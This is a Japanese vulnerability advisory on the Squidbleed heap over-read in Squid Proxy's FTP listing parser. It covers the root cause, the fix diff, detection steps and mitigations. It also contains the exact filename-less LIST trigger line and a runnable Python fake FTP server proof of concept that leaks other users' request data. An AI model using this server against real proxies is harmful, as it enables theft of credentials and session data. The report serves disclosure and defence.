CVE-2026-47729

CVE-2026-47729 (Squidbleed) Vulnerability Report

概要

項目 内容
CVE番号 CVE-2026-47729
通称 Squidbleed
公開日 2026-06-10 (公開ディスクロージャー)
最終更新 2026-06-16 (Ubuntu USN)
CVSS v2 AV:N/AC:L/Au:N/C:P/I:N/A:P (推定)
CVSS v3.0/3.1 AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H (7.5)
CVSS Vector (Tenable) CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
CWE CWE-125: Out-of-bounds Read
EPSS 【情報不足】(公開EPSSスコア未確認)
CISA KEV なし (2026-06-22現在)
発見者 Calif.io (AIエージェント "Claude Mythos Preview" による自動発見)
影響製品 Squid Proxy (全バージョン)
修正バージョン Squid 7.6 (後に7.7に修正)

影響を受けるソフトウェアおよびバージョン

技術詳細

脆弱性の概要

Squidbleed は、Squid ProxyのFTPゲートウェイコードに存在するヒープバッファオーバーリード脆弱性。Heartbleed (CVE-2014-0160) に類似したメモリリーク攻撃を可能にする。

FTPディレクトリ一覧パーサー (FtpGateway.cc) において、C標準ライブラリの strchr() 関数のヌル終端文字('\0')に関する仕様を誤って扱っているため、バッファ境界を超えた読み出しが発生する。これにより、プロキシの内部メモリに残留する他のユーザーのHTTPリクエスト(ヘッダー、パスワード、APIキー等)が攻撃者に漏洩する可能性がある。

根本原因

位置: src/clients/FtpGateway.cc — FTPディレクトリ一覧パーサー

コアフロー:

  1. FTPサーバーからの LIST コマンド応答を1行ずつ解析
  2. タイムスタンプとファイル名の間の空白をスキップするため strchr(w_space, *copyFrom) を使用
  3. C11 §7.24.5.2の仕様: strchrヌル終端文字('\0')を文字列の一部として扱う
  4. ファイル名が存在しない行(末尾がタイムスタンプで終了)の場合、*copyFrom == '\0' となる
  5. strchr(w_space, '\0') は非NULLを返す → ++copyFrom が実行され、バッファ境界を超えて読み進む
  6. 非空白・非ヌルバイトに遭遇するまでポインタが進み続け、ヒープオーバーリードが発生

脆弱なコード (修正前):

if (flags.skip_whitespace) {
  while (strchr(w_space, *copyFrom)) ++copyFrom;
} else {
  /* Handle the following four formats... */
  if (strchr(w_space, *copyFrom)) ++copyFrom;
}
p->name = xstrdup(copyFrom);

修正コード:

 if (flags.skip_whitespace) {
- while (strchr(w_space, *copyFrom))
+ while (*copyFrom && strchr(w_space, *copyFrom))
   ++copyFrom;
 } else {
   ...
- if (strchr(w_space, *copyFrom))
+ if (*copyFrom && strchr(w_space, *copyFrom))
   ++copyFrom;
 }

修正コミット: 865a131c7d557e68c965043d98c2eccae26deef8 (SQUID_7_6)

攻撃フロー

[ステップ1] 被害者のHTTPリクエストが4KBバッファ(MEM_4K_BUF)に格納される
    ↓
[ステップ2] リクエスト完了後、バッファはフリーリストに返される(ゼロクリアされない)
    ↓
[ステップ3] 攻撃者がFTPサーバー(ポート21)として振る舞い、特殊なLIST応答を送信
    → 例: "d [R----F--] supervisor 512 Jan 16 18:53" (ファイル名なし)
    ↓
[ステップ4] FTPパーサーがバッファの先頭を上書きするが、残りの〜4KBは被害者のデータのまま
    ↓
[ステップ5] strchrのオーバーリードにより、バッファ終端を超えて読み進む
    ↓
[ステップ6] リークしたデータがFTPディレクトリ一覧の「ファイル名」として攻撃者に返される
    → Authorizationヘッダー、Cookie、APIキー、フォームデータ等が含まれる可能性

トリガー条件

バージョン間の差異

バージョン バッファ動作 脆弱性
Squid 7.x CLIENT_REQ_BUF_SZ = 4096MEM_4K_BUF直接使用 ✅ 影響あり
Squid 5.x/6.x 文字列プールを使用、ただし2KB超リクエストはMEM_4K_BUFに昇格 ✅ 影響あり(転送時)
Squid 7.6+ ヌルチェック追加 ❌ 修正済み

PoC/Exploitの状況

項目 状況
公開PoC あり (Calif.ioブログで概念実証コードが公開)
Metasploitモジュール なし (2026-06-22現在)
Exploit成熟度 PoC (信頼性の高いメモリリーク実証済み)
信頼できるリポジトリ blog.calif.io (Calif.io)

PoCの詳細:

実被害・インシデント

現在のところ、実際の悪用事例は確認されていない。

注目すべき点: 発見者は「機内Wi-Fiに接続されたSquidプロキシ」を例に挙げており、実際に旅客機や企業ネットワークで使用されている古いバージョンのSquidが影響を受ける可能性があるとしている。

検出方法

ブラックボックステスト

テスト用リクエスト

  1. Squidプロキシ経由で攻撃者制御のFTPサーバー(ポート21)に接続
  2. FTPサーバーから特殊な LIST 応答を返す:
    d [R----F--] supervisor 512 Jan 16 18:53
    
    (ファイル名を含まない行 — タイムスタンプのみ)
  3. FTPディレクトリ一覧の「ファイル名」フィールドに異常なデータ(他のユーザーのHTTPヘッダー等)が含まれていれば脆弱

バージョン特定手法

# Squidのバージョンを特定
curl -I http://squid-proxy/ 2>/dev/null | grep -i "Via\|Server"
# または
squid -v

DevToolsやレスポンスヘッダーからのバージョン判別:

ホワイトボックステスト

ソースコード上の脆弱パターン

# FtpGateway.cc の strchr 使用箇所を確認
grep -n "strchr(w_space" src/clients/FtpGateway.cc

# 脆弱なパターン (*copyFrom && が付いていない)
grep -B2 -A2 "while (strchr(w_space" src/clients/FtpGateway.cc

静的解析ルール

対策

恒久的対策

暫定対策・軽減策

  1. FTPサポートの無効化 (推奨)

    # squid.conf
    acl Safe_ports port 80 443  # ポート21を削除
    # または
    ftp_access deny all
    
    • 現代のブラウザ(Chrome/Chromium)はFTPを既に廃止
    • ほとんどの組織でFTPは無使用 → ゼロ影響で攻撃面を削除可能
  2. ネットワークレベルの制御

    • Squidサーバーからの外向きFTP接続(ポート21)をファイアウォールでブロック
    • 信頼できない外部FTPサーバーへのアクセスを制限
  3. モニタリング

    • Squidアクセスログで異常なFTP接続を監視
    • access.log 中の ftp:// リクエストをアラート対象にする

修正パッチ詳細

項目 内容
修正コミット 865a131c7d557e68c965043d98c2eccae26deef8
タグ SQUID_7_6
変更ファイル src/ftp/FtpGateway.cc
変更内容 strchr() の前後に *copyFrom && ヌルチェックを追加
根本原因分類 Missing input validation (ヌル終端文字の検証欠落)

脆弱なコードスニペット

// ❌ 脆弱な実装 — strchr が '\0' をマッチさせるため、
//    ファイル名がない場合にポインタがバッファ境界を超える
if (flags.skip_whitespace) {
  while (strchr(w_space, *copyFrom)) ++copyFrom;
} else {
  if (strchr(w_space, *copyFrom)) ++copyFrom;
}
p->name = xstrdup(copyFrom);

修正コードスニペット

// ✅ 修正後の実装 — ヌル終端文字で早期脱出
if (flags.skip_whitespace) {
  while (*copyFrom && strchr(w_space, *copyFrom))
   ++copyFrom;
} else {
  if (*copyFrom && strchr(w_space, *copyFrom))
   ++copyFrom;
}
p->name = xstrdup(copyFrom);

再現環境

現時点で公開されたDockerベースの再現環境は確認されていない。

概念実証のためのFTPサーバー例:

#!/usr/bin/env python3
"""Squidbleed (CVE-2026-47729) 概念実証用FTPサーバー"""
import socket

HOST = '0.0.0.0'
PORT = 21

def handle_client(conn):
    conn.send(b'220 Test FTP Server\r\n')
    while True:
        data = conn.recv(1024)
        if not data:
            break
        cmd = data.decode().strip()
        if cmd.startswith('USER'):
            conn.send(b'230 Login successful.\r\n')
        elif cmd.startswith('SYST'):
            conn.send(b'215 UNIX Type: L8\r\n')
        elif cmd.startswith('PASV'):
            conn.send(b'227 Entering Passive Mode (127,0,0,1,0,22).\r\n')
        elif cmd.startswith('LIST'):
            # ⚠️ 脆弱性をトリガーする応答 — ファイル名なし
            conn.send(b'd [R----F--] supervisor 512 Jan 16 18:53 \r\n')
            conn.send(b'226 Directory send OK.\r\n')
        elif cmd.startswith('QUIT'):
            conn.send(b'221 Goodbye.\r\n')
            break
        else:
            conn.send(b'200 OK\r\n')
    conn.close()

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    s.bind((HOST, PORT))
    s.listen(1)
    print(f'[*] Listening on {HOST}:{PORT}')
    while True:
        conn, addr = s.accept()
        print(f'[+] Connection from {addr}')
        handle_client(conn)

関連する追加脆弱性 (CVE-2026-50012)

Squid 7.6では同時に CVE-2026-50012 も修正された:

参考資料

公式情報源

技術分析

PoC/Exploit

GitHub修正コミット

変更履歴

日付 変更内容
2026-06-22 初版作成

📊 HTML版レポート